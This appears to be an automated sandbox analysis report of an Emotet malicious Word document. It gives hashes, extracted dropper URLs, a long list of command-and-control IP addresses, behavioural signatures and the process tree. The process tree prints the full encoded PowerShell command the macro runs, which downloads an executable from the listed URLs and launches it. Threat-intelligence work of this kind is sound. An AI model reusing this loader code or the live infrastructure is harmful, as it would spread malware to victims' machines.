emotet | 28de9a545bff02be8a015ea386ce91d917b531e57f13d1d24522d2255f803b71

Analysis

max time kernel
150s
max time network
144s
platform
windows10_x64
resource
win10v200722
submitted
20/10/2020, 23:32

Sharing

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General

Target
emotet_e1_28de9a545bff02be8a015ea386ce91d917b531e57f13d1d24522d2255f803b71_2020-10-20__232630400080._doc.doc
Size 175KB
Sample201020-hkhscpbpsx
SHA256 28de9a545bff02be8a015ea386ce91d917b531e57f13d1d24522d2255f803b71
MD5 16ede9f45642a70b39f259456b00d2f5
SHA1 31c4b8a4be39f64c1735910487dbcb23551e9bc7
SHA512 da2cf496850185879d01682b6c0c5f7a48bba09d9923085190d19e607b95096731e25c6171ee3dc7b8797e3a2cb3316b6d7981bae005266efaf027ab1f1ef85b
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://keishixx.com/apc/ew5/
exe.dropper
http://zylko.com/wp-admin/SD/
exe.dropper
http://kyleesbirthdaybash.com/wp-includes/Sco/
exe.dropper
https://kbpatinhaus.com/wp-includes/5r/
exe.dropper
http://almaart.ir/wp-ontent/7pp/
exe.dropper
https://premiumnitrilegloves.com/wp-content/7/
exe.dropper
http://mommafi.com/wp-includes/S/

Extracted

Family

emotet

Botnet

Epoch1

173.68.199.157:80
59.148.253.194:8080
173.212.197.71:8080
98.103.204.12:443
2.45.176.233:80
45.33.77.42:8080
181.58.181.9:80
219.92.13.25:80
12.163.208.58:80
2.85.9.41:8080
172.104.169.32:8080
149.202.72.142:7080
189.223.16.99:80
216.47.196.104:80
191.97.154.2:80
213.197.182.158:8080
94.176.234.118:443
46.105.114.137:8080
177.144.130.105:8080
174.118.202.24:443
37.179.145.105:80
98.13.75.196:80
46.101.58.37:8080
60.93.23.51:80
128.92.203.42:80
186.189.249.2:80
192.232.229.54:7080
5.196.35.138:7080
188.135.15.49:80
103.236.179.162:80
68.183.170.114:8080
62.84.75.50:80
213.52.74.198:80
5.189.178.202:8080
81.215.230.173:443
183.176.82.231:80
74.135.120.91:80
50.28.51.143:8080
105.209.235.113:8080
79.118.74.90:80
188.157.101.114:80
104.131.41.185:8080
185.94.252.27:443
77.238.212.227:80
189.2.177.210:443
12.162.84.2:8080
77.78.196.173:443
178.211.45.66:8080
192.81.38.31:80
209.236.123.42:8080
51.15.7.189:80
201.71.228.86:80
212.71.237.140:8080
177.74.228.34:80
181.30.61.163:443
70.32.84.74:8080
192.241.143.52:8080
109.190.35.249:80
172.86.186.21:8080
138.97.60.141:7080
201.213.177.139:80
51.255.165.160:8080
24.232.228.233:80
138.97.60.140:8080
186.103.141.250:443
191.182.6.118:80
181.56.32.36:80
177.23.7.151:80
87.106.46.107:8080
177.129.17.170:443
46.43.2.95:8080
45.46.37.97:80
1.226.84.243:8080
190.190.219.184:80
191.191.23.135:80
217.13.106.14:8080
37.187.161.206:8080
177.73.0.98:443
51.15.7.145:80
190.115.18.139:8080
178.250.54.208:8080
85.214.26.7:8080
37.183.81.217:80
152.169.22.67:80
68.183.190.199:8080
190.188.245.242:80
111.67.12.221:8080
175.143.12.123:8080
70.169.17.134:80
202.134.4.210:7080
188.251.213.180:80
185.94.252.12:80
190.24.243.186:80
181.129.96.162:8080
181.61.182.143:80
82.76.111.249:443
177.144.130.105:443
200.127.14.97:80
51.75.33.127:80
64.201.88.132:80
5.89.33.136:80
186.222.250.115:8080
70.32.115.157:8080
185.183.16.47:80
109.190.249.106:80
74.58.215.226:80
186.70.127.199:8090
83.169.21.32:7080
170.81.48.2:80
137.74.106.111:7080
181.123.6.86:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	492	4036	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3820-13-0x0000000002290000-0x00000000022A9000-memory.dmp	emotet
behavioral2/memory/3820-14-0x00000000022B0000-0x00000000022C8000-memory.dmp	emotet
behavioral2/memory/3964-17-0x0000000000620000-0x0000000000639000-memory.dmp	emotet
behavioral2/memory/3964-18-0x0000000000650000-0x0000000000668000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
32	492	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3820	O37vszxmg.exe
3964	msIso.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\vccorlib110\msIso.exe	O37vszxmg.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
496	WINWORD.EXE
496	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
492	POwersheLL.exe
492	POwersheLL.exe
492	POwersheLL.exe
3964	msIso.exe
3964	msIso.exe
3964	msIso.exe
3964	msIso.exe
3964	msIso.exe
3964	msIso.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	492	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
3820	O37vszxmg.exe
3964	msIso.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 3964	3820	O37vszxmg.exe	82
PID 3820 wrote to memory of 3964	3820	O37vszxmg.exe	82
PID 3820 wrote to memory of 3964	3820	O37vszxmg.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_28de9a545bff02be8a015ea386ce91d917b531e57f13d1d24522d2255f803b71_2020-10-20__232630400080._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:496

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD UwBFAHQALQBpAFQARQBNACAAVgBBAFIASQBhAEIAbABlADoAOAA0AGIAbgAwACAAIAAoACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIAIAAtAEYAIAAnAFQAZQBtAC4AJwAsACcAUwB5AFMAJwAsACcAaQBvAC4AZABJAHIAJwAsACcAZQBDAHQAbwBSAHkAJwApACAAIAApACAAOwAgACAAIAAkAFQANQBvAGIAeQA0AD0AIAAgAFsAVAB5AFAAZQBdACgAIgB7ADUAfQB7ADEAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADMAfQAiACAALQBGACAAJwBuAFQAJwAsACcAVAAuACcALAAnAHMARQBSAFYAaQBjAEUAUABvAGkAJwAsACcAUgAnACwAJwBtAEEAbgBhAEcARQAnACwAJwBTAHkAUwB0AEUATQAuAG4ARQAnACkAIAAgADsAIAAgACQASgBzAGUAZQAzAHQAYwA9ACgAJwBMACcAKwAoACcAegB0AGgAJwArACcAbwAxAHUAJwApACkAOwAkAE0AMwA4AHIAcwB2AGMAPQAkAEYAZAA5ADQANgBzAGEAIAArACAAWwBjAGgAYQByAF0AKAAxACAAKwAgADEAIAArACAAMgAwACAAKwAgADEAMAAgACsAIAAxADAAKQAgACsAIAAkAE0AdABlADQAawA5ADgAOwAkAFEAeABlAF8AcgAwAHMAPQAoACgAJwBDADMAdgAnACsAJwB0ADIAJwApACsAJwB6ACcAKwAnADkAJwApADsAIAAoAEkAdABFAE0AIAAgAHYAYQBSAGkAQQBiAGwAZQA6ADgANABiAG4AMAApAC4AVgBBAEwAdQBFADoAOgAiAGMAYABSAEUAYABBAFQAYABFAGQASQBSAEUAYwBUAG8AUgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAFgAOQAnACsAKAAnAHgAQgBmADUAYQAnACsAJwBoACcAKQArACgAJwBqADcAWAAnACsAJwA5AHgAJwArACcAQgAnACkAKwAoACcAcwAnACsAJwBuAHkAbAAnACkAKwAoACcANwBlAFgAOQAnACsAJwB4ACcAKQApACAAIAAtAEMAcgBlAFAATABhAEMARQAgACAAKABbAEMASABhAFIAXQA4ADgAKwBbAEMASABhAFIAXQA1ADcAKwBbAEMASABhAFIAXQAxADIAMAApACwAWwBDAEgAYQBSAF0AOQAyACkAKQA7ACQAWQB6AHEAaAA5AGwAcQA9ACgAJwBNAHgAJwArACcAeQAnACsAKAAnAGkAcAAnACsAJwBqADMAJwApACkAOwAgACAAKABMAHMAIAAoACIAVgBBAHIAaQBhAEIAIgArACIAbAAiACsAIgBlADoAVAA1AE8AIgArACIAYgBZADQAIgApACkALgB2AGEAbABVAEUAOgA6ACIAcwBlAGAAQwB1AGAAUgBJAHQAWQBwAFIATwBgAFQATwBjAGAATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABVADAAdAAzAHcAdQBoAD0AKAAoACcAUAAnACsAJwBwADEAZAAnACkAKwAoACcAOAByACcAKwAnADIAJwApACkAOwAkAFQAbQA2AGcAawB5AHYAIAA9ACAAKAAnAE8AMwAnACsAKAAnADcAdgAnACsAJwBzACcAKQArACgAJwB6AHgAbQAnACsAJwBnACcAKQApADsAJABOADUAawBrAGUANQBfAD0AKAAnAFQAJwArACgAJwA0AGYAZwAnACsAJwAyAG8AJwApACsAJwBzACcAKQA7ACQAUQB0AHcAbQA5AGEANwA9ACgAJwBSAHgAJwArACcAbwBnACcAKwAoACcAYQBjACcAKwAnAGwAJwApACkAOwAkAEcAawBvAF8AMAB6AHQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAMQAnACsAKAAnAGEAJwArACcARQBCAGYAJwApACsAKAAnADUAYQBoAGoAJwArACcANwAnACkAKwAoACcAMQBhACcAKwAnAEUAJwApACsAJwBCAHMAJwArACgAJwBuAHkAJwArACcAbAA3AGUAMQBhAEUAJwApACkALgAiAFIAZQBQAGAAbABBAGMAZQAiACgAKAAnADEAYQAnACsAJwBFACcAKQAsAFsAUwB0AHIAaQBOAEcAXQBbAEMASABBAHIAXQA5ADIAKQApACsAJABUAG0ANgBnAGsAeQB2ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAUABtAGIAbgAwAGwAbAA9ACgAJwBDADUAJwArACgAJwAyACcAKwAnADAAeABvAGEAJwApACkAOwAkAFEAagB0AHcAOQB6ADcAPQAuACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBlAEIAYwBsAGkARQBuAFQAOwAkAFoANwAxADcAcgB3AHoAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8ALwBrACcAKQArACcAZQBpACcAKwAoACcAcwBoACcAKwAnAGkAJwApACsAKAAnAHgAeAAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAGEAcAAnACsAJwBjACcAKQArACgAJwAvACcAKwAnAGUAdwA1AC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAnACsAJwAvAHoAeQBsACcAKwAnAGsAbwAuACcAKwAnAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwB3AHAAJwArACcALQBhAGQAbQAnACkAKwAnAGkAJwArACcAbgAnACsAKAAnAC8AUwBEAC8AKgAnACsAJwBoACcAKQArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAnAGsAeQAnACsAKAAnAGwAJwArACcAZQBlACcAKQArACcAcwAnACsAJwBiACcAKwAoACcAaQAnACsAJwByAHQAaAAnACkAKwAnAGQAYQAnACsAKAAnAHkAYgBhAHMAaAAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAHcAJwApACsAKAAnAHAALQAnACsAJwBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACkAKwAoACcAUwAnACsAJwBjAG8ALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwAHMAOgAvAC8AawBiAHAAJwArACcAYQAnACkAKwAnAHQAaQAnACsAKAAnAG4AJwArACcAaABhAHUAJwApACsAJwBzACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQAnACsAJwBpACcAKQArACcAbgBjACcAKwAnAGwAdQAnACsAKAAnAGQAJwArACcAZQBzAC8ANQAnACsAJwByACcAKQArACgAJwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGEAbABtACcAKwAnAGEAYQAnACsAJwByAHQALgAnACsAJwBpAHIALwAnACkAKwAoACcAdwBwAC0AJwArACcAbwBuACcAKwAnAHQAJwApACsAKAAnAGUAbgB0AC8AJwArACcANwBwACcAKQArACcAcAAnACsAJwAvACoAJwArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6AC8AJwArACcALwBwACcAKwAoACcAcgBlACcAKwAnAG0AJwApACsAKAAnAGkAJwArACcAdQBtAG4AJwApACsAJwBpACcAKwAnAHQAcgAnACsAKAAnAGkAbAAnACsAJwBlAGcAJwArACcAbABvAHYAJwApACsAKAAnAGUAJwArACcAcwAuACcAKQArACcAYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAcAAtACcAKQArACcAYwBvACcAKwAoACcAbgB0AGUAJwArACcAbgB0ACcAKQArACgAJwAvADcAJwArACcALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAvACcAKwAnAG0AJwApACsAKAAnAG8AbQBtAGEAJwArACcAZgAnACkAKwAoACcAaQAnACsAJwAuAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAHcAcAAnACsAJwAtAGkAbgAnACkAKwAoACcAYwBsACcAKwAnAHUAJwApACsAJwBkACcAKwAoACcAZQBzAC8AUwAnACsAJwAvACcAKQApAC4AIgBzAFAATABgAEkAVAAiACgAJABDAGwAYwBlADEANgBtACAAKwAgACQATQAzADgAcgBzAHYAYwAgACsAIAAkAFkAcAB3AHIAcAA1AGQAKQA7ACQATQA5AHcAcABtAGYAaAA9ACgAKAAnAEYAMQBqACcAKwAnAGUAJwApACsAKAAnAGsAOQAnACsAJwBqACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABTAGEAOQBfADAAbABoACAAaQBuACAAJABaADcAMQA3AHIAdwB6ACkAewB0AHIAeQB7ACQAUQBqAHQAdwA5AHoANwAuACIAZABPAHcAbgBsAE8AYABBAGAAZABGAGAAaQBMAEUAIgAoACQAUwBhADkAXwAwAGwAaAAsACAAJABHAGsAbwBfADAAegB0ACkAOwAkAFEAOABkAHoAXwBoAHIAPQAoACgAJwBaAHUAJwArACcAcAAnACkAKwAoACcAdQAxACcAKwAnADUAcgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABHAGsAbwBfADAAegB0ACkALgAiAEwAYABlAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA1ADcANwA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3ACcAKwAnAGkAbgAzADIAXwBQACcAKwAnAHIAJwApACsAJwBvACcAKwAnAGMAJwArACgAJwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBDAFIAZQBgAEEAVABFACIAKAAkAEcAawBvAF8AMAB6AHQAKQA7ACQAQgByAHoANAB3AGYAMAA9ACgAJwBVACcAKwAoACcANwBhACcAKwAnAHYAaQBoAGEAJwApACkAOwBiAHIAZQBhAGsAOwAkAEkANgB0ADEAbwB5AGsAPQAoACcAVwBxACcAKwAnADMAJwArACgAJwAyAHgAJwArACcAdgBvACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZAG8AaAByAHUAcgBhAD0AKAAnAEQAJwArACgAJwB2AGkAJwArACcAbAByACcAKwAnAGYAMgAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:492

C:\Users\Admin\Bf5ahj7\Bsnyl7e\O37vszxmg.exe
C:\Users\Admin\Bf5ahj7\Bsnyl7e\O37vszxmg.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Windows\SysWOW64\vccorlib110\msIso.exe
  "C:\Windows\SysWOW64\vccorlib110\msIso.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/492-9-0x000002B679CE0000-0x000002B679CE1000-memory.dmp

Download

memory/492-10-0x000002B679FD0000-0x000002B679FD1000-memory.dmp

Download

memory/492-8-0x00007FF8F7DF0000-0x00007FF8F87DC000-memory.dmp

Download

memory/496-0-0x00007FF8FF630000-0x00007FF8FFCF6000-memory.dmp

Download

memory/496-4-0x000001D7C9D01000-0x000001D7C9D0C000-memory.dmp

Download

memory/3820-13-0x0000000002290000-0x00000000022A9000-memory.dmp

Download

memory/3820-14-0x00000000022B0000-0x00000000022C8000-memory.dmp

Download

memory/3964-17-0x0000000000620000-0x0000000000639000-memory.dmp

Download

memory/3964-18-0x0000000000650000-0x0000000000668000-memory.dmp

Download